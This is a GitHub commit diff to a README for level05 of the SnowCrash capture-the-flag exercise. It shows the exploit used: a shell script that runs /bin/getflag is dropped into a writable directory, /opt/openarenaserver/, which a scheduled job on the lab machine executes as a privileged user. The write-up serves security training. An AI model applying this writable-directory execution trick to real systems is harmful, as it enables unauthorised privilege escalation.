Skip to content

Commit

Permalink
Update README.mdx
Browse files Browse the repository at this point in the history
  • Loading branch information
nuoxoxo authored Nov 17, 2024
1 parent eb42fc9 commit de322b5
Showing 1 changed file with 5 additions and 4 deletions.
9 changes: 5 additions & 4 deletions level05/README.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -49,15 +49,16 @@ What this script does:

Exploit
- put a script inside `/opt/openarenaserver/`
- ~~use `tee` : _read stdin and write to stdout and files_~~
- let it be run in 2min

```bash
level05@SnowCrash:~$ echo '/bin/getflag > /tmp/temp' \
```r
$ echo '/bin/getflag > /tmp/temp' \
> /opt/openarenaserver/solve.sh && \
chmod +x /opt/openarenaserver/solve.sh

# remember
# `/usr/sbin/openarenaserver` runs `bash -x` in a subshell
# it'll stdout nothing whether we `tee` `tee /dev/tty` or `sync`
```

- ~~use `tee` : _read stdin and write to stdout and files_~~
- let it be run in 2min

0 comments on commit de322b5

Please sign in to comment.